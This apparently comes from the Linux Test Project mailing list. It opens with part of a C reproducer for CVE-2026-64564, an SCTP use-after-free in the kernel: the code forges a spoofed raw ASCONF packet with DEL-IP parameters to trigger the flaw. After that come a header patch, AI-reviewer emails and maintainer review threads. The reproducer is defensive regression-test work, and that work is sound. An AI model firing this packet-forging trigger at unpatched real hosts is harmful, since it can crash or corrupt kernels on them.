+			continue;
+
+		sport = get16(sctp);
+		dport = get16(sctp + 2);
+		ch = sctp + 12;
+		end = sctp + sctp_len;
+
+		while (ch + 4 <= end) {
+			uint16_t clen = get16(ch + 2);
+
+			if (clen < 4 || ch + clen > end)
+				break;
+
+			if (ch[0] == SCTP_CID_INIT && dport == srv_port) {
+				memcpy(&vtag_wire, ch + 4, 4);
+				got_init = 1;
+			}
+
+			if (ch[0] == SCTP_CID_INIT_ACK && sport == srv_port && clen >= 20) {
+				uint8_t *p = ch + 20, *cend = ch + clen;
+				uint32_t target = addr4(ADDR_TARGET);
+				int found = 0;
+
+				memcpy(&serial_wire, ch + 16, 4);
+				got_initack = 1;
+
+				while (p + 4 <= cend) {
+					uint16_t plen = get16(p + 2);
+
+					if (plen < 4 || p + plen > cend)
+						break;
+					if (get16(p) == SCTP_PARAM_IPV4_ADDRESS &&
+					    plen == 8 && !memcmp(p + 4, &target, 4))
+						found = 1;
+					p += (plen + 3) & ~3;
+				}
+
+				if (!found)
+					tst_brk(TBROK, "peer did not advertise "
+						ADDR_TARGET);
+			}
+
+			ch += (clen + 3) & ~3;
+		}
+	}
+
+	if (!got_init || !got_initack)
+		tst_brk(TBROK, "could not capture the SCTP handshake");
+}
+
+/* Confirm the secondary peer path, then keep the association quiet */
+static void confirm_target_path(void)
+{
+	struct tst_sctp_paddrparams spp;
+	struct tst_sctp_paddrinfo info;
+	struct sockaddr_in sa;
+	socklen_t len;
+	long delay = 1;
+	int i;
+
+	sa = sin4(ADDR_TARGET, srv_port);
+
+	memset(&spp, 0, sizeof(spp));
+	memcpy(&spp.spp_address, &sa, sizeof(sa));
+	spp.spp_hbinterval = 1000;
+	spp.spp_flags = SPP_HB_ENABLE | SPP_HB_DEMAND;
+	SAFE_SETSOCKOPT(cli_fd, SOL_SCTP, SCTP_PEER_ADDR_PARAMS,
+			&spp, sizeof(spp));
+
+	for (i = 0; i < 12; i++) {
+		memset(&info, 0, sizeof(info));
+		memcpy(&info.spinfo_address, &sa, sizeof(sa));
+		len = sizeof(info);
+		SAFE_GETSOCKOPT(cli_fd, SOL_SCTP, SCTP_GET_PEER_ADDR_INFO,
+				&info, &len);
+
+		if (info.spinfo_state == SCTP_ACTIVE)
+			return;
+
+		SAFE_POLL(NULL, 0, delay);
+		delay *= 2;
+	}
+
+	tst_brk(TBROK, ADDR_TARGET " was not confirmed by a heartbeat");
+}
+
+static void disable_heartbeats(void)
+{
+	static const char *const addrs[] = { ADDR_PRIMARY, ADDR_TARGET, ADDR_DUMMY };
+	struct tst_sctp_paddrparams spp;
+	struct sockaddr_in sa;
+	unsigned int i;
+
+	for (i = 0; i < ARRAY_SIZE(addrs); i++) {
+		memset(&spp, 0, sizeof(spp));
+		sa = sin4(addrs[i], srv_port);
+		memcpy(&spp.spp_address, &sa, sizeof(sa));
+		spp.spp_flags = SPP_HB_DISABLE;
+		SAFE_SETSOCKOPT(cli_fd, SOL_SCTP, SCTP_PEER_ADDR_PARAMS,
+				&spp, sizeof(spp));
+	}
+}
+
+/*
+ * Forge an ASCONF chunk from a spoofed source address carrying
+ * [Address Parameter ADDR_TARGET] [DEL-IP ADDR_TARGET] [DEL-IP 0.0.0.0].
+ * The forged source forces the victim to look the association up through
+ * the Address Parameter, so asconf->transport is the transport of
+ * ADDR_TARGET, which the first DEL-IP then frees on a vulnerable kernel.
+ */
+static void send_asconf(void)
+{
+	uint8_t pkt[20 + 12 + ASCONF_WIRE_LEN];
+	struct iphdr ip = {
+		.version = 4,
+		.ihl = 5,
+		.ttl = 64,
+		.protocol = IPPROTO_SCTP,
+		.tot_len = htons(sizeof(pkt)),
+		.saddr = addr4(ADDR_SPOOF),
+		.daddr = addr4(ADDR_PRIMARY),
+	};
+	struct sockaddr_in dst = sin4(ADDR_PRIMARY, 0);
+	uint8_t *sctp = pkt + sizeof(ip), *p;
+	uint32_t csum;
+
+	memset(pkt, 0, sizeof(pkt));
+	memcpy(pkt, &ip, sizeof(ip));
+
+	put16(sctp + 0, srv_port);
+	put16(sctp + 2, cli_port);
+	memcpy(sctp + 4, &vtag_wire, 4);
+
+	p = sctp + 12;
+	p[0] = SCTP_CID_ASCONF;
+	put16(p + 2, ASCONF_WIRE_LEN);
+	memcpy(p + 4, &serial_wire, 4);
+
+	p += 8;
+	put16(p + 0, SCTP_PARAM_IPV4_ADDRESS);
+	put16(p + 2, 8);
+	put_ip(p + 4, ADDR_TARGET);
+
+	p += 8;
+	put16(p + 0, SCTP_PARAM_DEL_IP);
+	put16(p + 2, 16);
+	put32(p + 4, 1);
+	put16(p + 8, SCTP_PARAM_IPV4_ADDRESS);
+	put16(p + 10, 8);
+	put_ip(p + 12, ADDR_TARGET);
+
+	p += 16;
+	put16(p + 0, SCTP_PARAM_DEL_IP);
+	put16(p + 2, 16);
+	put32(p + 4, 2);
+	put16(p + 8, SCTP_PARAM_IPV4_ADDRESS);
+	put16(p + 10, 8);
+	put_ip(p + 12, "0.0.0.0");
+
+	/* SCTP carries the CRC32c little-endian, unlike any other field */
+	csum = htole32(tst_crc32c(sctp, 12 + ASCONF_WIRE_LEN));
+	memcpy(sctp + 8, &csum, 4);
+
+	SAFE_SENDTO(1, raw_fd, pkt, sizeof(pkt), 0,
+		    (struct sockaddr *)&dst, sizeof(dst));
+}
+
+/*
+ * Wait for the ASCONF-ACK (sent to the spoofed source, so it stays on
+ * loopback) and return the error cause of its first Error Cause
+ * Indication parameter, 0 when all parameters report success, or -1 when
+ * no ACK arrives in time.
+ */
+static int read_asconf_ack(void)
+{
+	uint8_t buf[4096];
+	int tries;
+
+	for (tries = 0; tries < 10; tries++) {
+		uint8_t *sctp, *ch, *end;
+		size_t sctp_len;
+		ssize_t len;
+
+		len = cap_recv(buf, sizeof(buf), 200);
+		if (!len)
+			continue;
+
+		sctp = sctp_part(buf, len, &sctp_len);
+		if (!sctp)
+			continue;
+
+		ch = sctp + 12;
+		end = sctp + sctp_len;
+
+		while (ch + 4 <= end) {
+			uint16_t clen = get16(ch + 2);
+			uint8_t *p, *cend;
+
+			if (clen < 4 || ch + clen > end)
+				break;
+
+			if (ch[0] != SCTP_CID_ASCONF_ACK || clen < 8 ||
+			    memcmp(ch + 4, &serial_wire, 4))
+				goto next;
+
+			p = ch + 8;
+			cend = ch + clen;
+
+			while (p + 8 <= cend) {
+				uint16_t plen = get16(p + 2);
+
+				if (plen < 8 || p + plen > cend)
+					return 0;
+				if (get16(p) == SCTP_PARAM_ERR_CAUSE &&
+				    plen >= 12)
+					return get16(p + 8);
+				p += (plen + 3) & ~3;
+			}
+
+			return 0;
+next:
+			ch += (clen + 3) & ~3;
+		}
+	}
+
+	return -1;
+}
+
+/*
+ * The freed transport is released by an RCU callback; once it is gone,
+ * reading the association status dereferences the stale primary_path,
+ * which KASAN reports as a use-after-free.
+ */
+static void probe_uaf(void)
+{
+	uint8_t buf[512];
+	long delay = 1;
+	int i;
+
+	tst_res(TINFO, "probing the stale primary path via SCTP_STATUS");
+
+	for (i = 0; i < 12; i++) {
+		socklen_t len = sizeof(buf);
+
+		TEST(getsockopt(cli_fd, SOL_SCTP, SCTP_STATUS, buf, &len));
+		SAFE_POLL(NULL, 0, delay);
+		delay *= 2;
+	}
+
+	if (tst_taint_check())
+		tst_res(TFAIL, "kernel tainted by the stale transport dereference (CVE-2026-64564)");
+	else
+		tst_res(TFAIL, "kernel is vulnerable to CVE-2026-64564: DEL-IP freed the ASCONF's own transport");
+}
+
+static void run(void)
+{
+	int cause;
+
+	setup_association();
+	sniff_handshake();
+	confirm_target_path();
+	disable_heartbeats();
+
+	cap_drain();
+	send_asconf();
+
+	cause = read_asconf_ack();
+	if (cause < 0)
+		tst_brk(TBROK, "no ASCONF-ACK received");
+
+	if (cause == SCTP_ERROR_REQ_REFUSED) {
+		tst_res(TPASS, "DEL-IP of the ASCONF's own transport refused, kernel is not vulnerable");
+	} else if (cause) {
+		tst_brk(TBROK, "unexpected ASCONF-ACK error cause 0x%04x",
+			cause);
+	} else {
+		tst_res(TINFO, "vulnerable kernel accepted the ASCONF sequence");
+		probe_uaf();
+	}
+
+	close_socks();
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.timeout = 60,
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.needs_kconfigs = (const char *const []) {
+		"CONFIG_IP_SCTP",
+		NULL
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "9b2854f86f0b56e9027d68e7a3fc909d1a9b566f"},
+		{"CVE", "2026-64564"},
+		{}
+	},
+};

-- 
2.51.0


From andrea.cervesato@suse.de  Mon Aug 10 18:28:27 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Mon, 10 Aug 2026 18:28:27 +0200
Subject: [LTP] [PATCH 0/2] Add reproducer for sctphantom CVE
Message-ID: <20260810-sctphantom-v1-0-f8e9ee72a648@suse.com>

This reproducer has been created using Kimi K3 and tweaked by human to
match LTP standards. The link which has been used to generate the test
is the following:

https://matrix.tencent.com/en/2026/08/06/sctphantom-CVE-2026-64564

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Andrea Cervesato (2):
      sctp: add lapi fallback definitions
      cve/sctphantom: Add reproducer for CVE-2026-64564

 include/lapi/sctp.h        |  65 +++++
 runtest/cve                |   1 +
 testcases/cve/.gitignore   |   1 +
 testcases/cve/sctphantom.c | 594 +++++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 661 insertions(+)
---
base-commit: 13c2bbab1d71384c10c368c2c2b6e5747eeb5018
change-id: 20260810-sctphantom-d5aa24983fe7

Best regards,
--  
Andrea Cervesato <andrea.cervesato@suse.com>


From andrea.cervesato@suse.de  Mon Aug 10 18:28:28 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Mon, 10 Aug 2026 18:28:28 +0200
Subject: [LTP] [PATCH 1/2] sctp: add lapi fallback definitions
In-Reply-To: <20260810-sctphantom-v1-0-f8e9ee72a648@suse.com>
References: <20260810-sctphantom-v1-0-f8e9ee72a648@suse.com>
Message-ID: <20260810-sctphantom-v1-1-f8e9ee72a648@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 include/lapi/sctp.h | 65 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 65 insertions(+)

diff --git a/include/lapi/sctp.h b/include/lapi/sctp.h
index c4c1cc91f..67c4d9e09 100644
--- a/include/lapi/sctp.h
+++ b/include/lapi/sctp.h
@@ -14,4 +14,69 @@
 # define SCTP_SOCKOPT_BINDX_ADD	100
 #endif
 
+#ifndef IPPROTO_SCTP
+# define IPPROTO_SCTP	132
+#endif
+
+#ifndef SCTP_PEER_ADDR_PARAMS
+# define SCTP_PEER_ADDR_PARAMS	9
+#endif
+
+#ifndef SCTP_STATUS
+# define SCTP_STATUS	14
+#endif
+
+#ifndef SCTP_GET_PEER_ADDR_INFO
+# define SCTP_GET_PEER_ADDR_INFO	15
+#endif
+
+#ifndef SPP_HB_ENABLE
+# define SPP_HB_ENABLE	(1 << 0)
+#endif
+
+#ifndef SPP_HB_DISABLE
+# define SPP_HB_DISABLE	(1 << 1)
+#endif
+
+#ifndef SPP_HB_DEMAND
+# define SPP_HB_DEMAND	(1 << 2)
+#endif
+
+#ifndef SCTP_ACTIVE
+# define SCTP_ACTIVE	2
+#endif
+
+/* SCTP wire format values, see include/linux/sctp.h in the kernel */
+#ifndef SCTP_CID_INIT
+# define SCTP_CID_INIT		1
+#endif
+
+#ifndef SCTP_CID_INIT_ACK
+# define SCTP_CID_INIT_ACK	2
+#endif
+
+#ifndef SCTP_CID_ASCONF_ACK
+# define SCTP_CID_ASCONF_ACK	0x80
+#endif
+
+#ifndef SCTP_CID_ASCONF
+# define SCTP_CID_ASCONF		0xc1
+#endif
+
+#ifndef SCTP_PARAM_IPV4_ADDRESS
+# define SCTP_PARAM_IPV4_ADDRESS	5
+#endif
+
+#ifndef SCTP_PARAM_DEL_IP
+# define SCTP_PARAM_DEL_IP	0xc002
+#endif
+
+#ifndef SCTP_PARAM_ERR_CAUSE
+# define SCTP_PARAM_ERR_CAUSE	0xc003
+#endif
+
+#ifndef SCTP_ERROR_REQ_REFUSED
+# define SCTP_ERROR_REQ_REFUSED	0x00a4
+#endif
+
 #endif	/* LAPI_SCTP_H__ */

-- 
2.51.0


From linuxtestproject.agent@gmail.com  Mon Aug 10 18:57:28 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Mon, 10 Aug 2026 16:57:28 +0000
Subject: [LTP] tst_kvercmp: Factor out error handling
In-Reply-To: <20260810160048.1040517-2-pvorel@suse.cz>
References: <20260810160048.1040517-2-pvorel@suse.cz>
Message-ID: <20260810165728.3981-1-linuxtestproject.agent@gmail.com>

Hi Petr,

On Mon, Aug 10, 2026, Petr Vorel wrote:
> [PATCH 1/7] tst_kvercmp: Factor out error handling

--- [PATCH 2/7] ---

> This is a preparation for struct tst_test max_kver member in the next
> commit.

Could this avoid referring to the next patch so that the commit message is
self-contained? For example, it could say that the rename makes room for a
corresponding maximum kernel-version check.

--- [PATCH 3/7] ---

> NOTE: Mainline release is sufficient on any stable release (test with
> .min_kver = "7.1" runs also on kernel 7.1.5). Stable releases are
> compared as expected.

Should this say ".max_kver" instead? This paragraph documents the new maximum
version semantics, and the corresponding header uses max_kver.

--- [PATCH 6/7] ---

> static struct tst_test test = {
> 	.setup = do_setup,
> +	.max_kver = "7.1",
> 	.test = do_test,

Could the changed PIDFD/TID expectation be handled without skipping the whole
test on 7.2? The second case,
FAN_REPORT_PIDFD | FAN_REPORT_FID | FAN_REPORT_DFID_NAME, is still a valid
success case in the 7.2 fanotify_init() implementation, and no other LTP test
uses that exact combination. The newly supported PIDFD/TID combination is not
exercised elsewhere either.

--- [PATCH 7/7] ---

> + * Basic test to test that .min_kver and .max_kver can be used together.
> + * Test should TCONF or TPASS.

Could this test use bounds that make TPASS deterministic? runtest.sh accepts
both TPASS and TCONF, so a regression that always rejects tests whenever both
fields are set still leaves this self-test green. On kernels newer than 7.2,
the callback is not exercised at all.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Mon Aug 10 18:57:48 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Mon, 10 Aug 2026 16:57:48 +0000
Subject: [LTP] sctp: add lapi fallback definitions
In-Reply-To: <20260810-sctphantom-v1-1-f8e9ee72a648@suse.com>
References: <20260810-sctphantom-v1-1-f8e9ee72a648@suse.com>
Message-ID: <20260810165748.9096-1-linuxtestproject.agent@gmail.com>

Hi Andrea,

On Mon, Aug 10, 2026, Andrea Cervesato wrote:
> sctp: add lapi fallback definitions

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From pvorel@suse.cz  Mon Aug 10 19:03:12 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 19:03:12 +0200
Subject: [LTP] tst_kvercmp: Factor out error handling
In-Reply-To: <20260810165728.3981-1-linuxtestproject.agent@gmail.com>
References: <20260810160048.1040517-2-pvorel@suse.cz>
 <20260810165728.3981-1-linuxtestproject.agent@gmail.com>
Message-ID: <20260810170312.GB1049677@pevik>

Hi all,

> Hi Petr,

> On Mon, Aug 10, 2026, Petr Vorel wrote:
> > [PATCH 1/7] tst_kvercmp: Factor out error handling

> --- [PATCH 2/7] ---

> > This is a preparation for struct tst_test max_kver member in the next
> > commit.

> Could this avoid referring to the next patch so that the commit message is
> self-contained? For example, it could say that the rename makes room for a
> corresponding maximum kernel-version check.

I would not really bother with it.

> --- [PATCH 3/7] ---

> > NOTE: Mainline release is sufficient on any stable release (test with
> > .min_kver = "7.1" runs also on kernel 7.1.5). Stable releases are
> > compared as expected.

> Should this say ".max_kver" instead? This paragraph documents the new maximum
> version semantics, and the corresponding header uses max_kver.

Yes, I need to amend the commit message before merging.

> --- [PATCH 6/7] ---

> > static struct tst_test test = {
> > 	.setup = do_setup,
> > +	.max_kver = "7.1",
> > 	.test = do_test,

> Could the changed PIDFD/TID expectation be handled without skipping the whole
> test on 7.2? The second case,
> FAN_REPORT_PIDFD | FAN_REPORT_FID | FAN_REPORT_DFID_NAME, is still a valid
> success case in the 7.2 fanotify_init() implementation, and no other LTP test
> uses that exact combination. The newly supported PIDFD/TID combination is not
> exercised elsewhere either.

No, kernel maintainers are ok with it as changing the test would be a bit complicated
(and I've been mentioning this on every version).

> --- [PATCH 7/7] ---

> > + * Basic test to test that .min_kver and .max_kver can be used together.
> > + * Test should TCONF or TPASS.

> Could this test use bounds that make TPASS deterministic? runtest.sh accepts
> both TPASS and TCONF, so a regression that always rejects tests whenever both
> fields are set still leaves this self-test green. On kernels newer than 7.2,
> the callback is not exercised at all.

Well, last time I had old version and it asked for 7.2. Anyway, this was exactly
the reason why I had 5.0 last time. I can change to whatever version somebody
suggests, maybe going back to 5.0 would be good.

> Verdict - Needs revision

> ---
> Note:

> The agent can sometimes produce false positives although often its
> findings are genuine. If you find issues with the review, please
> comment this email or ignore the suggestions.

> Regards,
> LTP AI Reviewer

From pvorel@suse.cz  Mon Aug 10 19:14:29 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 19:14:29 +0200
Subject: [LTP] shell: enable OOM protection by default
In-Reply-To: <20260810131014.85243-1-linuxtestproject.agent@gmail.com>
References: <20260810-shell_oom_protection-v4-1-4dac0dbb0414@suse.com>
 <20260810131014.85243-1-linuxtestproject.agent@gmail.com>
Message-ID: <20260810171429.GC1049677@pevik>

Hi Andrea,

> Hi Andrea,

> On Aug 10, 2026, Andrea Cervesato wrote:
> > shell: enable OOM protection by default

> > +	if ! echo "$value" > "$path"; then
> > +		tst_res TWARN "Can't adjust score"
> > +	fi

> Could this avoid reporting TWARN when CAP_SYS_RESOURCE is absent, as
> tst_memutils.c does? Lowering oom_score_adj requires that capability, so
> every unprivileged shell test now gets a warning result. The new self-test
> itself reports TCONF but exits 36 because this TWARN remains counted.

Ah, this really needs to be guarded behind  if [ "$(id -ru)" != 0 ]; then 

If you're in a mood for it, you could factor out [ "$(id -ru)" != 0 ] check into
it's own function tst_check_root or tst_is_root which would be then used in
tst_require_root and in this function.

I repeat my suggestion from last revision: add a helper into testcases/lib which
will just call C function. That way the behavior will be the same (use
capabilities). That would be more clearer solution.

Kind regards,
Petr

> > +	(
> > +		TST_CHILD=1
> > +		_tst_disable_oom_protection
> > +		trap '_tst_cleanup_timer; _tst_write_results' EXIT
> > +
> > +		if [ "$TST_ALL_FILESYSTEMS" = 1 ]; then
> > +			_tst_run_tcases_per_fs
> > +		else
> > +			_tst_run_iterations
> > +		fi
> > +	) &
> > +
> > +	wait $!
> > +	ret=$?

> How can the protected parent perform cleanup if this child is OOM-killed
> or times out? TST_DO_CLEANUP and TST_MOUNT_FLAG are set only in the
> subshell. On an abnormal child exit, the parent therefore reports TBROK
> without calling TST_CLEANUP or unmounting a device mounted by
> _prepare_device(), leaving external test state behind.

Sounds serious :). I'll comment on the patch itself.

Kind regards,
Petr

> Verdict - Needs revision

> ---
> Note:

> The agent can sometimes produce false positives although often its
> findings are genuine. If you find issues with the review, please
> comment this email or ignore the suggestions.

> Regards,
> LTP AI Reviewer

From pvorel@suse.cz  Mon Aug 10 19:31:58 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 19:31:58 +0200
Subject: [LTP] [PATCH v4] shell: enable OOM protection by default
In-Reply-To: <20260810-shell_oom_protection-v4-1-4dac0dbb0414@suse.com>
References: <20260810-shell_oom_protection-v4-1-4dac0dbb0414@suse.com>
Message-ID: <20260810173158.GD1049677@pevik>

Hi Andrea,

...
> diff --git a/lib/newlib_tests/shell/tst_oom_protection.sh b/lib/newlib_tests/shell/tst_oom_protection.sh
> new file mode 100755
> index 000000000..564680700
> --- /dev/null
> +++ b/lib/newlib_tests/shell/tst_oom_protection.sh
> @@ -0,0 +1,34 @@
> +#!/bin/sh
> +# SPDX-License-Identifier: GPL-2.0-or-later
> +# Copyright (c) 2026 Linux Test Project
> +
> +TST_TESTFUNC=do_test
> +
> +read_oom_score_adj() {
> +	cat "/proc/$1/oom_score_adj"
> +}
> +
> +do_test() {
> +	local harness_score body_score
> +
> +	# $$ points to the protected harness, while /proc/self is the
> +	# unprotected child that actually runs the test body.
> +	harness_score=$(read_oom_score_adj "$$")
> +	body_score=$(read_oom_score_adj self)
> +
> +	if [ "$harness_score" != -1000 ]; then
> +		tst_res TCONF "shell harness OOM protection unavailable"
> +		return
> +	fi
> +
> +	tst_res TPASS "shell harness is protected from OOM by default"
> +
> +	if [ "$body_score" = 0 ]; then
> +		tst_res TPASS "test body runs in an unprotected child (oom_score_adj=0)"
> +	else
> +		tst_res TFAIL "test body oom_score_adj is $body_score, expected 0"
> +	fi
> +}
> +
> +. tst_test.sh
> +tst_run
> diff --git a/testcases/lib/tst_test.sh b/testcases/lib/tst_test.sh
> index b3e7e29bb..e42e562f5 100644
> --- a/testcases/lib/tst_test.sh
> +++ b/testcases/lib/tst_test.sh
> @@ -28,6 +28,48 @@ export TST_USR_GID="${LTP_USR_GID:-65534}"
>  trap "tst_brk TBROK 'test interrupted'" INT
>  trap "unset _tst_setup_timer_pid; tst_brk TBROK 'test terminated'" TERM

> +_tst_set_oom_score_adj()
> +{
> +	local value="$1"
> +	local path="/proc/self/oom_score_adj"
> +
> +	if [ ! -e "$path" ]; then
> +		tst_res TINFO "oom_score_adj does not exist, skipping the adjustment"
> +		return
> +	fi
> +
> +	if ! echo "$value" > "$path"; then
> +		tst_res TWARN "Can't adjust score"
> +	fi
> +}
> +
> +_tst_enable_oom_protection()
> +{
> +	_tst_set_oom_score_adj -1000
> +}
> +
> +_tst_disable_oom_protection()
> +{
> +	_tst_set_oom_score_adj 0
> +}
> +
> +_tst_write_results()
> +{
> +	[ "$TST_CHILD" = 1 ] || return 0
Yes, $TST_CHILD is here visible, because it's run from the child...

> +	[ -n "$TST_RESULTS_FILE" ] || return 0
> +
> +	echo "$TST_PASS $TST_FAIL $TST_BROK $TST_WARN $TST_CONF $TST_COUNT" \
> +		> "$TST_RESULTS_FILE"
> +}
> +
> +_tst_read_results()
> +{
> +	[ -s "$TST_RESULTS_FILE" ] || return 0
> +
> +	read TST_PASS TST_FAIL TST_BROK TST_WARN TST_CONF TST_COUNT \
> +		< "$TST_RESULTS_FILE"
> +}
> +
>  _tst_do_cleanup()
>  {
>  	if [ -n "$TST_DO_CLEANUP" -a -n "$TST_CLEANUP" -a -z "$LTP_NO_CLEANUP" ]; then
> @@ -48,6 +90,15 @@ _tst_do_exit()

>  	_tst_do_cleanup

> +	# When running as the unprotected test child, only propagate the
> +	# results back to the protected harness which does the teardown and
> +	# prints the summary.
> +	if [ "$TST_CHILD" = 1 ]; then
... but as agent noted $TST_CHILD is not visible here in _tst_do_exit() because
that's run from parent shell => nack.

> +		_tst_cleanup_timer
> +		_tst_write_results
> +		exit 0
> +	fi
> +
>  	cd "$LTPROOT"
>  	[ "$TST_MOUNT_FLAG" = 1 ] && tst_umount

> @@ -788,10 +839,34 @@ tst_run()

>  	TST_MNTPOINT="${TST_MNTPOINT:-$PWD/mntpoint}"

> -	if [ "$TST_ALL_FILESYSTEMS" = 1 ]; then
> -		_tst_run_tcases_per_fs
> -	else
> -		_tst_run_iterations
> +	# Protect the harness so it survives memory pressure and can
> +	# still report results, then run the test body in a child that
> +	# resets OOM protection. This way workloads forked by the test
> +	# remain killable, mirroring the C test harness.
> +	_tst_enable_oom_protection
> +
> +	TST_RESULTS_FILE=$(mktemp "${TMPDIR:-/tmp}/ltp_${TST_ID}_res.XXXXXX")
Hm, writing temporary file directly to TMPDIR is not optimal, but if that was
the only problem I'd be ok with it.

> +	(
> +		TST_CHILD=1
Agent is correct, this is not visible in the parent shell => I doubt it will
work.

Also this is supposed to fix memcg stress tests, but it touches all shell test
=> very effective way to broke many tests in single commit with great change to
get it quickly reverted :).

IMHO we should really rewrite the tests which does not work in tst_test.sh API
into C API (better) or to the shell loader. Further complicate tst_test.sh is
a way to hell.

Kind regards,
Petr

> +		_tst_disable_oom_protection
> +		trap '_tst_cleanup_timer; _tst_write_results' EXIT
> +
> +		if [ "$TST_ALL_FILESYSTEMS" = 1 ]; then
> +			_tst_run_tcases_per_fs
> +		else
> +			_tst_run_iterations
> +		fi
> +	) &
> +
> +	wait $!
> +	ret=$?
> +
> +	_tst_read_results
> +	rm -f "$TST_RESULTS_FILE"
> +
> +	if [ $ret -gt 128 ]; then
> +		tst_res TBROK "Test killed by signal $((ret - 128))!"
>  	fi

From pvorel@suse.cz  Mon Aug 10 19:39:20 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 19:39:20 +0200
Subject: [LTP] [PATCH 1/2] sctp: add lapi fallback definitions
In-Reply-To: <20260810-sctphantom-v1-1-f8e9ee72a648@suse.com>
References: <20260810-sctphantom-v1-0-f8e9ee72a648@suse.com>
 <20260810-sctphantom-v1-1-f8e9ee72a648@suse.com>
Message-ID: <20260810173920.GE1049677@pevik>

Hi: Andrea,

> +/* SCTP wire format values, see include/linux/sctp.h in the kernel */
+1 for that comment.

> +#ifndef SCTP_CID_INIT
> +# define SCTP_CID_INIT		1
> +#endif
> +
> +#ifndef SCTP_CID_INIT_ACK
> +# define SCTP_CID_INIT_ACK	2
> +#endif
> +
> +#ifndef SCTP_CID_ASCONF_ACK
> +# define SCTP_CID_ASCONF_ACK	0x80
> +#endif
> +
> +#ifndef SCTP_CID_ASCONF
> +# define SCTP_CID_ASCONF		0xc1
> +#endif
> +
> +#ifndef SCTP_PARAM_IPV4_ADDRESS
> +# define SCTP_PARAM_IPV4_ADDRESS	5
> +#endif
> +
> +#ifndef SCTP_PARAM_DEL_IP
> +# define SCTP_PARAM_DEL_IP	0xc002
> +#endif
> +
> +#ifndef SCTP_PARAM_ERR_CAUSE
> +# define SCTP_PARAM_ERR_CAUSE	0xc003
I hope cpu_to_be16(0xc003) is really on all supported archs 0xc003 :).

Anyway, the rest LGTM.
Reviewed-by: Petr Vorel <pvorel@suse.cz>

Kind regards,
Petr

From pvorel@suse.cz  Mon Aug 10 20:06:20 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 20:06:20 +0200
Subject: [LTP] [PATCH 2/2] cve/sctphantom: Add reproducer for
 CVE-2026-64564
In-Reply-To: <20260810-sctphantom-v1-2-f8e9ee72a648@suse.com>
References: <20260810-sctphantom-v1-0-f8e9ee72a648@suse.com>
 <20260810-sctphantom-v1-2-f8e9ee72a648@suse.com>
Message-ID: <20260810180620.GF1049677@pevik>

Hi Andrea,

> Add a reproducer for CVE-2026-64564, a use-after-free in the SCTP
> Dynamic Address Reconfiguration (RFC 5061) DEL-IP processing.

> This vulnerability was fixed upstream by commit 9b2854f86f0b ("sctp:
> don't free the ASCONF's own transport in DEL-IP processing").

> Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
> Link: https://matrix.tencent.com/en/2026/08/06/sctphantom-CVE-2026-64564

Nice reproducer, full of magic. Generally LGTM, few notes bellow?
Acked-by: Petr Vorel <pvorel@suse.cz>
Tested-by: Petr Vorel <pvorel@suse.cz>

> +static void setup(void)
> +{
> +	int fd;
> +	const struct tst_path_val sysctls[] = {
> +		{"/proc/sys/net/sctp/addip_enable", "1", TST_SR_TCONF},
> +		{"/proc/sys/net/sctp/addip_noauth_enable", "1", TST_SR_TCONF},
> +		{}
> +	};
Can't this be part of .save_restore in struct tst_test?

> +	const struct tst_path_val *sysctl;
> +
> +	tst_modprobe("sctp", NULL);
...

> +
> +/*
> + * The freed transport is released by an RCU callback; once it is gone,
> + * reading the association status dereferences the stale primary_path,
> + * which KASAN reports as a use-after-free.
> + */
> +static void probe_uaf(void)
> +{
> +	uint8_t buf[512];
> +	long delay = 1;
> +	int i;
> +
> +	tst_res(TINFO, "probing the stale primary path via SCTP_STATUS");
> +
> +	for (i = 0; i < 12; i++) {
> +		socklen_t len = sizeof(buf);
> +
> +		TEST(getsockopt(cli_fd, SOL_SCTP, SCTP_STATUS, buf, &len));
What is the point of using TEST() macro here. Why not run getsockopt() directly?

Kind regards,
Petr

From andrea.cervesato@suse.com  Mon Aug 10 20:14:29 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 10 Aug 2026 18:14:29 +0000
Subject: [LTP] [PATCH 2/2] cve/sctphantom: Add reproducer for
 CVE-2026-64564
In-Reply-To: <20260810180620.GF1049677@pevik>
Message-ID: <6a7a1506.e11288f4.339403.080c@mx.google.com>

Hi Petr,

> Nice reproducer, full of magic. Generally LGTM, few notes bellow?
> Acked-by: Petr Vorel <pvorel@suse.cz>
> Tested-by: Petr Vorel <pvorel@suse.cz>
> 
> > +static void setup(void)
> > +{
> > +	int fd;
> > +	const struct tst_path_val sysctls[] = {
> > +		{"/proc/sys/net/sctp/addip_enable", "1", TST_SR_TCONF},
> > +		{"/proc/sys/net/sctp/addip_noauth_enable", "1", TST_SR_TCONF},
> > +		{}
> > +	};
> Can't this be part of .save_restore in struct tst_test?

I had to move it inside setup/cleanup because we need to load sctp module
_before_ setting the addip_enable, which is available only after loading
the module.

> 
> > +	const struct tst_path_val *sysctl;
> > +
> > +	tst_modprobe("sctp", NULL);
> ...
> 
> > +
> > +/*
> > + * The freed transport is released by an RCU callback; once it is gone,
